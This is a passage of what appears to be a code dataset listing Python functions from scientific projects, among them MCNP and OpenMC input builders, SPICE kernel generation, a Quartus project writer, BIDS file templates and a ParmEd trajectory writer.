bg=None):\",\n \"def _configure(self):\\n from .topology import FieldBase\\n\\n Component._configure(self)\\n\\n mapBasis = {\\n \\\"simplex\\\": FieldBase.SIMPLEX_BASIS,\\n \\\"tensor\\\": FieldBase.TENSOR_BASIS,\\n \\\"default\\\": FieldBase.DEFAULT_BASIS,\\n }\\n self.cellBasis = mapBasis[self.inventory.cellBasisStr]\\n\\n mapSpace = {\\n \\\"polynomial\\\": FieldBase.POLYNOMIAL_SPACE,\\n \\\"point\\\": FieldBase.POINT_SPACE,\\n }\\n self.feSpace = mapSpace[self.inventory.feSpaceStr]\\n return\",\n \"def create(data):\\n \\n return Part(\\n part_id = data['part_num'],\\n category_id = data['part_cat_id'],\\n external_ids = data.get('external_ids', {}),\\n name = data['name'],\\n year_from = data.get('year_from', None),\\n year_to = data.get('year_to', None),\\n url = data.get('part_url', None),\\n img_url = data.get('part_img_url', None),\\n print_of = data.get('print_of', None),\\n prints = data.get('prints', []),\\n molds = data.get('molds', []),\\n alternates = data.get('alternates', []))\",\n \"def create(data):\\n \\n # create part\\n part = Part.create(data['part'])\\n \\n # create color\\n color = Color.create(data['color'])\\n \\n # create element\\n element = Element(\\n part = part,\\n color = color,\\n element_id = data.get('element_id', None),\\n design_id = data.get('design_id', None),\\n img_url = data.get('element_img_url', None),\\n count = data.get('quantity', None),\\n is_spare = data.get('is_spare', None))\\n \\n return element\",\n \"def __init__(self, name, volume_id, roi, electric_field, create_S2, xe_density=2.862):\\n self.name = name\\n self.volume_id = volume_id\\n self.roi = roi\\n\\n self.electric_field = electric_field\\n self.xe_density = xe_density\\n self.create_S2 = create_S2\\n self._is_valid()\",\n \"def __init__(self,inp='INP.mcnp'):\\n # Material dictionary for the moderator, light guide, and detector\\n self.material = {'Moderator':None,'Detector':None,'LightGuide':None}\\n self.material['Detector'] = {'name':'Detector','mt': 3, 'rho': 1.1,'matString':None} # detector\\n self.material['LightGuide'] = {'name': 'PMMA','mt':10, 'rho':0.93} # PMMA\\n self.material['Moderator'] = {'name':'HDPE','mt':456, 'rho': 0.93} # HPDE\\n \\n # Cell and Surface Inital Numbering\\n self.CellStartNum = 600\\n self.SurfaceStartNum = 600\\n self.ZeroSurfaceNum = 500\\n self.UniverseNum = 200\\n self.surfGeo = None\\n self.inp = inp\\n self.name = 'OUT_'+self.inp.strip('.mcnp')+'.'\\n self.setMaterial(0.1,'PS')\",\n \"def pack_spheres(shape, scale, number_of_cells, algorithm):\\r\\n if algorithm == 'simple':\\r\\n data = simple_packing(shape, scale, number_of_cells)\\r\\n else:\\r\\n create_input(number_of_cells)\\r\\n make_csd(shape, scale, number_of_cells)\\r\\n generate_structure(algorithm)\\r\\n data = read_results()\\r\\n np.savetxt('Project01.rco', data)\\r\\n render_packing(data)\",\n \"def car_template(ncomp, ra0, ra1, dec0, dec1, res):\\n\\n if ncomp == 3:\\n pre = (3,)\\n else:\\n pre = ()\\n\\n box = get_box(ra0, ra1, dec0, dec1)\\n res = res * np.pi / (180 * 60)\\n temp = so_map()\\n shape, wcs = enmap.geometry(box, res=res, pre=pre)\\n temp.data = enmap.zeros(shape, wcs=wcs, dtype=None)\\n temp.pixel = \\\"CAR\\\"\\n temp.nside = None\\n temp.ncomp = ncomp\\n temp.geometry = temp.data.geometry[1:]\\n temp.coordinate = \\\"equ\\\"\\n return temp\",\n \"def create(connection, args):\\n\\n metadata = sap.adt.ADTCoreData(language='EN', master_language='EN', responsible=connection.user.upper())\\n iface = sap.adt.Interface(connection, args.name.upper(), package=args.package.upper(), metadata=metadata)\\n iface.description = args.description\\n iface.create()\",\n \"def createckfk(self, observer, dbname, t0, field1, nfields, mk): \\n\\n observerint=self.mpc2internal(observer)\\n instrumentint=observerint*1000\\n\\n with open(\\\"cksetupfile\\\", \\\"w\\\") as f:\\n f.write(\\\"KPL/IK \\\\nComments describing the keywords and values \\\\nto follow, as well as any other pertinent \\\\ninformation.\\\\n\\\\\\\\begindata\\\\n\\\")\\n f.write(\\\"LSK_FILE_NAME = '%s'\\\\n\\\" %(mk))\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"INTERNAL_FILE_NAME = 'Survey Sim Camera Orientation'\\\\n\\\")\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"MAKE_FAKE_SCLK = 'tmpsclk'\\\\n\\\")\\n f.write(\\\"CK_TYPE = 3\\\\n\\\")\\n f.write(\\\"CK_SEGMENT_ID = 'Instrument Orientation'\\\\n\\\")\\n f.write(\\\"INSTRUMENT_ID = %i \\\\n\\\" %(instrumentint))\\n f.write(\\\"REFERENCE_FRAME_NAME = 'J2000'\\\\n\\\")\\n f.write(\\\"ANGULAR_RATE_PRESENT = 'NO'\\\\n\\\")\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"INPUT_DATA_TYPE = 'SPICE QUATERNIONS'\\\\n\\\")\\n f.write(\\\"INPUT_TIME_TYPE = 'UTC'\\\\n\\\")\\n f.write(\\\"MAXIMUM_VALID_INTERVAL = 60\\\\n\\\") \\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"PRODUCER_ID = 'Survey Sim, JPL'\\\\n\\\")\\n f.write(\\\"\\\\\\\\begintext\\\")\\n f.close()\\n\\n\\n self.readfields(dbname,field1,nfields, t0)\\n with open(\\\"ckip\\\",\\\"w\\\") as f:\\n\\n for i in range(len(self.fieldRA)):\\n quat=self.computerotmat(self.fieldRA[i], self.fieldDec[i], self.rotSkyPos[i])\\n\\n #This helps with duplicate entries. For example enigma_1189 can have same fieldID's under different propID's\\n #Issue warning for duplicate time. Have a verbose mode for displaying that (true as default)\\n if (self.fieldMJD[i] !=self.fieldMJD[i-1]):\\n JD=self.fieldMJD[i]+shared.mjd2jd\\n timestring= 'JD'+repr(JD)\\n f.write(\\\"%s %f %f %f %f\\\\n\\\" %(timestring,quat[0],quat[1],quat[2],quat[3]))\\n f.close()\\n try:\\n os.system('rm tmp.ck tmpsclk test.ck fakesclk >/dev/null')\\n except:\\n pass\\n os.system('msopck cksetupfile ckip tmp.ck > /dev/null')\\n\\n os.system('rsync tmpsclk fakesclk > /dev/null')\\n os.system('rsync tmp.ck test.ck > /dev/null')\\n\\n with open(\\\"tmp.fk\\\",\\\"w\\\") as f:\\n f.write(\\\"\\\\\\\\begindata\\\\n\\\\n\\\")\\n f.write(\\\"FRAME_CAMERA_FRAME = %i\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_NAME = 'CAMERA_FRAME'\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_CLASS = 3\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_CLASS_ID = %i\\\\n\\\" %(instrumentint, instrumentint))\\n f.write(\\\"FRAME_%i_CENTER = %i\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"CK_%i_SCLK = %i\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"CK_%i_SPK = %i\\\\n\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"\\\\\\\\begintext\\\\n\\\")\\n f.close()\\n \\n os.system('rsync tmp.fk test.fk')\",\n \"def create_molpro_input(species, natom, atom, mult, charge, wellorts):\\n \\n with open(par.tpldir + 'molpro.tpl') as f:\\n file = f.read()\\n \\n fname = str(species.chemid)\\n if wellorts: fname = species.name\\n \\n geom = ''\\n nelectron = 0\\n for i,at in enumerate(atom):\\n x,y,z = species.geom[i]\\n geom += '{} {:.8f} {:.8f} {:.8f}\\\\n'.format(at,x,y,z)\\n nelectron += znumber[at]\\n \\n nelectron -= charge\\n \\n outf = open('molpro/' + fname + '.inp','w')\\n outf.write(file.format( name = fname,\\n natom = natom,\\n atom = atom,\\n geom = geom,\\n nelectron = nelectron,\\n spin = mult - 1,\\n charge = charge\\n ))\\n outf.close()\",\n \"def makeProject(\\n self,\\n projectFilePath,\\n files,\\n constraints,\\n part,\\n generics,\\n workingDirectory,\\n entity\\n ):\\n log.info('Creating project file for Quartus...')\\n # Import the quartus TCL project module\\n projectFileString = 'package require ::quartus::project' + '\\\\n'\\n projectFileString += 'package require ::quartus::flow' + '\\\\n'\\n projectFileString += 'load_package report' + '\\\\n'\\n # Create the project\\n projectFileString += self.tcl_project_new(entity)\\n # Set the top level\\n projectFileString += self.tcl_set_top_level_entity(entity)\\n # Set the part\\n projectFileString += self.tcl_set_part(part)\\n # Add all the source files to the project\\n for libName, fileList in files.items():\\n for fileObject in fileList:\\n projectFileString += self.tcl_add_file(fileObject)\\n\\n # Add the project generics\\n for k, v in generics.items():\\n projectFileString += self.tcl_set_generic(k, v)\\n\\n # Add user constraints and other source files\\n sdcString = ''\\n for fileObject in constraints:\\n if fileObject.flow == 'quartus' or fileObject.flow is None:\\n if fileObject.fileType == FileType.TCL:\\n with open(fileObject.path, 'r') as constraintsFile:\\n projectFileString += constraintsFile.read()\\n projectFileString += '\\\\n'\\n log.info(\\n 'Added supplementary TCL script: ' +\\n fileObject.path\\n )\\n elif fileObject.fileType == FileType.SDC:\\n with open(fileObject.path, 'r') as constraintsFile:\\n sdcString += constraintsFile.read()\\n sdcString += '\\\\n'\\n log.info(\\n 'Added timing constraints script: ' +\\n fileObject.path\\n )\\n if len(sdcString) > 0:\\n sdcPath = os.path.join(workingDirectory, entity + '.sdc')\\n with open(sdcPath, 'w') as f:\\n log.info('Writing: ' + str(sdcPath))\\n f.write(sdcString)\\n\\n # Commit the assignment\\n projectFileString += 'export_assignments' + '\\\\n'\\n # Execute the flow\\n projectFileString += 'execute_flow -compile' + '\\\\n'\\n # Close the project\\n projectFileString += self.tcl_project_close()\\n\\n # Write out the synthesis project file\\n log.debug('Writing: ' + projectFilePath)\\n with open(projectFilePath, 'w') as f:\\n f.write(projectFileString)\\n log.info(\\\"...done\\\")\",\n \"def mkMsg(self):\\n # getting the version of project_coords\\n project_coords_cmd = 'project_coords --version'\\n outp = popen2.Popen4(project_coords_cmd)\\n outpline = outp.fromchild.readlines()\\n pcoorVer = outpline[0].split()[-1]\\n \\n self.meta = {}\\n self.meta['module']= []\\n self.meta['meta'] = []\\n self.meta['input'] = []\\n self.meta['output']= []\\n self.meta['errorlist'] = []\\n \\n self.meta['module'].append(('module','name='+self.modName,'version='+__version__,'dataset='+self.obsName))\\n self.meta['module'].append(('root',self.root))\\n self.meta['meta'].append(('meta',))\\n self.meta['meta'].append(('depend',))\\n self.meta['meta'].append(('pkg',))\\n self.meta['meta'].append(('name','python'))\\n self.meta['meta'].append(('version',pyversion.split()[0]))\\n self.meta['meta'].append(('pkg',))\\n self.meta['meta'].append(('name','pyfits'))\\n self.meta['meta'].append(('version',pyfits.__version__.split()[0]))\\n self.meta['meta'].append(('pkg',))\\n self.meta['meta'].append(('name','project_coords'))\\n self.meta['meta'].append(('version',pcoorVer))\\n self.meta['meta'].append(('pkg',))\\n self.meta['meta'].append(('name','Guide Star Catalog'))\\n self.meta['meta'].append(('version',_URL_.split(\\\"/\\\")[-1].split(\\\"q\\\")[0]))\\n \\n # SExtractor info\\n sub = subprocess.Popen(['sex', '--version'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, close_fds=True)\\n outp = sub.stdout.readlines()\\n name = outp[0].split()[0]\\n ver = outp[0].split()[2]\\n self.meta['meta'].append(('pkg',))\\n self.meta['meta'].append(('name',name))\\n self.meta['meta'].append(('version',ver))\\n cmdline1 = 'sex fitsfile -c self.InParFileName'\\n self.meta['meta'].append(('commandline',cmdline1))\\n del outp,sub,name,ver\\n \\n if self.errorList:\\n self.meta['errorlist'].append(('errorlist',))\\n for pkg,err in self.errorList:\\n self.meta['errorlist'].append(('erroritem',err,'frompkg='+pkg))\\n \\n # input section\\n self.meta['input'].append(('input',))\\n for f in self.inputList:\\n if string.find(f,\\\"_asn\\\") == -1:\\n self.meta['input'].append(('file','type=image/x-fits'))\\n self.meta['input'].append(('name',os.path.join(\\\"Images\\\",f)))\\n else:\\n self.meta['input'].append(('file','type=image/x-fits'))\\n self.meta['input'].append(('name',os.path.join(\\\"Images\\\",f)))\\n \\n # output section\\n if self.outputList:\\n self.meta['output'].append(('output',))\\n for f in self.outputList.keys():\\n if string.find(f,\\\".xml\\\") == -1:\\n self.meta['output'].append(('file','type=image/x-fits'))\\n self.meta['output'].append(('name',os.path.join(\\\"Images\\\",f)))\\n for pred in self.outputList[f]:\\n self.meta['output'].append(('predecessor',os.path.join(\\\"Images\\\",pred)))\\n else:\\n self.meta['output'].append(('file','type=text/xml'))\\n self.meta['output'].append(('name',os.path.join(\\\"Images\\\",f)))\\n for pred in self.outputList[f]:\\n self.meta['output'].append(('predecessor',os.path.join(\\\"Images\\\",pred)))\\n \\n # pass this dictionary to the class pMessage...\\n msgFile = os.path.join(self.messagedir,self.modName+\\\"_module.xml\\\")\\n mmsg = pMessage(self.meta)\\n mmsg.writeMsg(msgFile)\\n return\",\n \"def create_field_template_dict(self, bids_atlas_label):\\n if self.parcellation_scheme == \\\"NativeFreesurfer\\\":\\n # fmt:off\\n field_template = dict(\\n diffusion=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.nii.gz\\\",\\n bvecs=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bvec\\\",\\n bvals=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bval\\\",\\n T1=\\\"anat/\\\" + self.subject + \\\"_desc-head_T1w.nii.gz\\\",\\n aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aseg_dseg.nii.gz\\\",\\n aparc_aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aparcaseg_dseg.nii.gz\\\",\\n brain=\\\"anat/\\\" + self.subject + \\\"_desc-brain_T1w.nii.gz\\\",\\n brain_mask=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n wm_mask_file=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n wm_eroded=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n brain_eroded=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n csf_eroded=\\\"anat/\\\" + self.subject + \\\"_label-CSF_dseg.nii.gz\\\",\\n roi_volume_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_dseg.nii.gz\\\",\\n roi_graphml_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_dseg.graphml\\\",\\n roi_volume_s2=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s2=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s3=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s3=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s4=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s4=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s5=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s5=\\\"anat/irrelevant.graphml\\\",\\n )\\n # fmt:on\\n elif self.parcellation_scheme == \\\"Custom\\\":\\n # fmt:off\\n field_template = dict(\\n diffusion=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.nii.gz\\\",\\n bvecs=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bvec\\\",\\n bvals=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bval\\\",\\n T1=\\\"anat/\\\" + self.subject + \\\"_desc-head_T1w.nii.gz\\\",\\n aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aseg_dseg.nii.gz\\\",\\n aparc_aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aparcaseg_dseg.nii.gz\\\",\\n brain=\\\"anat/\\\" + self.subject + \\\"_desc-brain_T1w.nii.gz\\\",\\n brain_mask=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n wm_mask_file=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n wm_eroded=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n brain_eroded=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n csf_eroded=\\\"anat/\\\" + self.subject + \\\"_label-CSF_dseg.nii.gz\\\",\\n roi_volume_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_dseg.nii.gz\\\",\\n roi_graphml_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_dseg.graphml\\\",\\n roi_volume_s2=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s2=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s3=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s3=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s4=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s4=\\\"anat/irrelevant.graphml\\\",\\n roi_volume_s5=\\\"anat/irrelevant.nii.gz\\\",\\n roi_graphml_s5=\\\"anat/irrelevant.graphml\\\",\\n )\\n # fmt:on\\n else:\\n # fmt:off\\n field_template = dict(\\n diffusion=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.nii.gz\\\",\\n bvecs=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bvec\\\",\\n bvals=\\\"dwi/\\\" + self.subject + \\\"_desc-cmp_dwi.bval\\\",\\n T1=\\\"anat/\\\" + self.subject + \\\"_desc-head_T1w.nii.gz\\\",\\n aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aseg_dseg.nii.gz\\\",\\n aparc_aseg=\\\"anat/\\\" + self.subject + \\\"_desc-aparcaseg_dseg.nii.gz\\\",\\n brain=\\\"anat/\\\" + self.subject + \\\"_desc-brain_T1w.nii.gz\\\",\\n brain_mask=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n wm_mask_file=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n wm_eroded=\\\"anat/\\\" + self.subject + \\\"_label-WM_dseg.nii.gz\\\",\\n brain_eroded=\\\"anat/\\\" + self.subject + \\\"_desc-brain_mask.nii.gz\\\",\\n csf_eroded=\\\"anat/\\\" + self.subject + \\\"_label-CSF_dseg.nii.gz\\\",\\n roi_volume_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale1_dseg.nii.gz\\\",\\n roi_volume_s2=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale2_dseg.nii.gz\\\",\\n roi_volume_s3=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale3_dseg.nii.gz\\\",\\n roi_volume_s4=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale4_dseg.nii.gz\\\",\\n roi_volume_s5=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale5_dseg.nii.gz\\\",\\n roi_graphml_s1=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale1_dseg.graphml\\\",\\n roi_graphml_s2=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale2_dseg.graphml\\\",\\n roi_graphml_s3=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale3_dseg.graphml\\\",\\n roi_graphml_s4=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale4_dseg.graphml\\\",\\n roi_graphml_s5=\\\"anat/\\\" + self.subject + \\\"_atlas-\\\" + bids_atlas_label + \\\"_res-scale5_dseg.graphml\\\",\\n )\\n # fmt:on\\n return field_template\",\n \"def generate_skeleton(self, ci, qname):\\n symbol_table = ci.epv.symbol_table\\n cls = ci.co\\n\\n\\n # Skeleton (in Chapel)\\n self.pkg_chpl_skel.gen(ir.Import('.'.join(symbol_table.prefix)))\\n\\n self.pkg_chpl_skel.new_def('use sidl;')\\n objname = '.'.join(ci.epv.symbol_table.prefix+[ci.epv.name]) + '_Impl'\\n\\n self.pkg_chpl_skel.new_def('extern record %s__object { var d_data: opaque; };'\\n %qname)#,objname))\\n self.pkg_chpl_skel.new_def('extern proc %s__createObject('%qname+\\n 'd_data: int, '+\\n 'out ex: sidl_BaseInterface__object)'+\\n ': %s__object;'%qname)\\n self.pkg_chpl_skel.new_def(ci.chpl_skel)\\n\\n\\n # Skeleton (in C)\\n cskel = ci.chpl_skel.cstub\\n cskel._name = qname+'_Skel'\\n cskel.gen(ir.Import('stdint'))\\n cskel.gen(ir.Import('stdio'))\\n cskel.gen(ir.Import(cskel._name))\\n cskel.gen(ir.Import(qname+'_IOR'))\\n cskel.gen(ir.Fn_defn([], ir.pt_void, qname+'__call_load', [],\\n [ir.Comment(\\\"FIXME: [ir.Stmt(ir.Call('_load', []))\\\")], ''))\\n\\n # set_epv ... Setup the entry-point vectors (EPV)s\\n #\\n # there are 2*3 types of EPVs:\\n # epv: regular methods\\n # sepv: static methods\\n # pre_(s)epv: pre-hooks\\n # post_(s)epv: post-hooks\\n epv_t = ci.epv.get_ir()\\n sepv_t = ci.epv.get_sepv_ir()\\n pre_epv_t = ci.epv.get_pre_epv_ir()\\n pre_sepv_t = ci.epv.get_pre_sepv_ir()\\n post_epv_t = ci.epv.get_post_epv_ir()\\n post_sepv_t = ci.epv.get_post_sepv_ir()\\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'ctor', [], ''))\\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'dtor', [], ''))\\n\\n epv_init = []\\n sepv_init = []\\n for m in builtins+cls.get_methods():\\n fname = m[2][1] + m[2][2]\\n attrs = sidlir.method_method_attrs(m)\\n static = member_chk(sidlir.static, attrs)\\n def entry(stmts, epv_t, table, field, pointer):\\n stmts.append(ir.Set_struct_item_stmt(epv_t, ir.Deref(table), field, pointer))\\n\\n if static: entry(sepv_init, sepv_t, 'sepv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\\n else: entry(epv_init, epv_t, 'epv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\\n\\n builtin_names = ['_ctor', '_ctor2', '_dtor']\\n with_hooks = member_chk(ir.hooks, attrs)\\n if fname not in builtin_names and with_hooks:\\n if static: entry(sepv_init, pre_sepv_t, 'pre_sepv', 'f_%s_pre'%fname, 'NULL')\\n else: entry(epv_init, pre_epv_t, 'pre_epv', 'f_%s_pre'%fname, 'NULL')\\n if static: entry(sepv_init, post_sepv_t, 'post_sepv', 'f_%s_post'%fname, 'NULL')\\n else: entry(epv_init, post_epv_t, 'post_epv', 'f_%s_post'%fname, 'NULL')\\n\\n pkgname = '_'.join(ci.epv.symbol_table.prefix)\\n\\n dummyargv = '''\\n char* argv[] = { \\n babel_program_name,\\n \\\"-nl\\\", /* number of locales */\\n \\\"\\\",\\n \\\"-v\\\", /* verbose chapel runtime */\\n NULL\\n };\\n argv[2] = getenv(\\\"SLURM_NTASKS\\\");\\n if (argv[2] == NULL) {\\n fprintf(stdout, \\\"**ERROR: please set the SLURM_NTASKS environment variable\\\\\\\\n\\\"\\n \\\" to the desired number of Chapel locales.\\\");\\n argv[2] = \\\"0\\\";\\n }\\n int ignored = setenv(\\\"GASNET_BACKTRACE\\\", \\\"1\\\", 1);\\n'''\\n cskel.genh(ir.Import('stdlib'))\\n cskel.pre_def('extern int chpl_init_library(int argc, char* argv[]);')\\n cskel.pre_def('// You can set this to argv[0] in main() to get better debugging output')\\n cskel.pre_def('char* __attribute__((weak)) babel_program_name = \\\"BRAID_LIBRARY\\\";')\\n # These are now called by chpl_init_library -> chpl_gen_init\\n #cskel.pre_def('extern void chpl__init_chpl__Program(int, const char*);')\\n #cskel.pre_def('extern void chpl__init_%s_Impl(int, const char*);'%pkgname)\\n init_code = [dummyargv,\\n 'int locale_id = chpl_init_library(4, argv)',\\n # 'chpl__init_chpl__Program(__LINE__, __FILE__)',\\n # 'chpl__init_%s_Impl(__LINE__, __FILE__)'%pkgname\\n ]\\n init_code = map(lambda x: (ir.stmt, x), init_code)\\n epv_init.extend(init_code)\\n sepv_init.extend(init_code)\\n\\n cskel.gen(ir.Fn_defn(\\n [], ir.pt_void, qname+'__set_epv',\\n [ir.Arg([], ir.out, epv_t, 'epv'),\\n ir.Arg([], ir.out, pre_epv_t, 'pre_epv'),\\n ir.Arg([], ir.out, post_epv_t, 'post_epv')],\\n epv_init, ''))\\n\\n if sepv_t:\\n cskel.gen(ir.Fn_defn(\\n [], ir.pt_void, qname+'__set_sepv',\\n [ir.Arg([], ir.out, sepv_t, 'sepv'),\\n ir.Arg([], ir.out, pre_sepv_t, 'pre_sepv'),\\n ir.Arg([], ir.out, post_sepv_t, 'post_sepv')],\\n sepv_init, ''))\\n\\n # C Skel\\n for code in cskel.optional:\\n cskel.new_global_def(code)\\n cskel.write()\",\n \"def _make_openmc_input(self):\\n # Define material\\n mat = openmc.Material()\\n mat.add_nuclide(self.nuclide, 1.0)\\n if self.thermal is not None:\\n name, suffix = self.thermal.split('.')\\n thermal_name = openmc.data.thermal.get_thermal_name(name)\\n mat.add_s_alpha_beta(thermal_name)\\n mat.set_density('g/cm3', self.density)\\n materials = openmc.Materials([mat])\\n if self.xsdir is not None:\\n xs_path = (self.openmc_dir / 'cross_sections.xml').resolve()\\n materials.cross_sections = str(xs_path)\\n materials.export_to_xml(self.openmc_dir / 'materials.xml')\\n\\n # Set up geometry\\n x1 = openmc.XPlane(x0=-1.e9, boundary_type='reflective')\\n x2 = openmc.XPlane(x0=+1.e9, boundary_type='reflective')\\n y1 = openmc.YPlane(y0=-1.e9, boundary_type='reflective')\\n y2 = openmc.YPlane(y0=+1.e9, boundary_type='reflective')\\n z1 = openmc.ZPlane(z0=-1.e9, boundary_type='reflective')\\n z2 = openmc.ZPlane(z0=+1.e9, boundary_type='reflective')\\n cell = openmc.Cell(fill=materials)\\n cell.region = +x1 & -x2 & +y1 & -y2 & +z1 & -z2\\n geometry = openmc.Geometry([cell])\\n geometry.export_to_xml(self.openmc_dir / 'geometry.xml')\\n\\n # Define source\\n source = openmc.Source()\\n source.space = openmc.stats.Point((0,0,0))\\n source.angle = openmc.stats.Isotropic()\\n source.energy = openmc.stats.Discrete([self.energy], [1.])\\n\\n # Settings\\n settings = openmc.Settings()\\n if self._temperature is not None:\\n settings.temperature = {'default': self._temperature}\\n settings.source = source\\n settings.particles = self.particles // self._batches\\n settings.run_mode = 'fixed source'\\n settings.batches = self._batches\\n settings.create_fission_neutrons = False\\n settings.export_to_xml(self.openmc_dir / 'settings.xml')\\n \\n # Define tallies\\n energy_bins = np.logspace(np.log10(self._min_energy),\\n np.log10(1.0001*self.energy), self._bins+1)\\n energy_filter = openmc.EnergyFilter(energy_bins)\\n tally = openmc.Tally(name='tally')\\n tally.filters = [energy_filter]\\n tally.scores = ['flux']\\n tallies = openmc.Tallies([tally])\\n tallies.export_to_xml(self.openmc_dir / 'tallies.xml')\",\n \"def open_new(cls,\\n fname,\\n natom,\\n box,\\n crds=True,\\n vels=False,\\n frcs=False,\\n remd=None,\\n remd_dimension=None,\\n title='',\\n protocolWork=False,\\n alchemicalLambda=False):\\n inst = cls(fname, 'w')\\n ncfile = inst._ncfile\\n if remd is not None:\\n if remd[0] in 'Tt':\\n inst.remd = 'TEMPERATURE'\\n elif remd[0] in 'Mm':\\n inst.remd = 'MULTI'\\n if remd_dimension is None:\\n raise ValueError('remd_dimension must be given ' 'for multi-D REMD')\\n inst.remd_dimension = int(remd_dimension)\\n else:\\n raise ValueError('remd must be T[emperature] or M[ultiD]')\\n else:\\n inst.remd = None\\n inst.hasbox = bool(box)\\n inst.hasvels = bool(vels)\\n inst.hascrds = bool(crds)\\n inst.hasfrcs = bool(frcs)\\n\\n inst.hasprotocolWork = bool(protocolWork)\\n inst.hasalchemicalLambda = bool(alchemicalLambda)\\n\\n # Assign the main attributes\\n ncfile.Conventions = \\\"AMBER\\\"\\n ncfile.ConventionVersion = \\\"1.0\\\"\\n ncfile.application = \\\"AmberTools\\\"\\n ncfile.program = \\\"ParmEd\\\"\\n ncfile.programVersion = parmed.__version__\\n ncfile.title = \\\"ParmEd-created trajectory\\\"\\n inst.Conventions = \\\"AMBER\\\"\\n inst.ConventionVersion = \\\"1.0\\\"\\n inst.application = \\\"AmberTools\\\"\\n inst.program = \\\"ParmEd\\\"\\n inst.programVersion = parmed.__version__\\n inst.title = ncfile.title\\n # Create the dimensions\\n ncfile.createDimension('frame', None)\\n ncfile.createDimension('spatial', 3)\\n ncfile.createDimension('atom', natom)\\n if inst.remd == 'MULTI':\\n ncfile.createDimension('remd_dimension', inst.remd_dimension)\\n inst.frame, inst.spatial, inst.atom = None, 3, natom\\n if inst.hasbox:\\n ncfile.createDimension('cell_spatial', 3)\\n ncfile.createDimension('cell_angular', 3)\\n ncfile.createDimension('label', 5)\\n inst.cell_spatial, inst.cell_angular, inst.label = 3, 3, 5\\n # Create the variables and assign units and scaling factors\\n v = ncfile.createVariable('spatial', 'c', ('spatial', ))\\n v[:] = np.asarray(list('xyz'))\\n if inst.hasbox:\\n v = ncfile.createVariable('cell_spatial', 'c', ('cell_spatial', ))\\n v[:] = np.asarray(list('abc'))\\n v = ncfile.createVariable('cell_angular', 'c', (\\n 'cell_angular',\\n 'label',\\n ))\\n v[:] = np.asarray([list('alpha'), list('beta '), list('gamma')])\\n v = ncfile.createVariable('time', 'f', ('frame', ))\\n v.units = 'picosecond'\\n if inst.hascrds:\\n v = ncfile.createVariable('coordinates', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 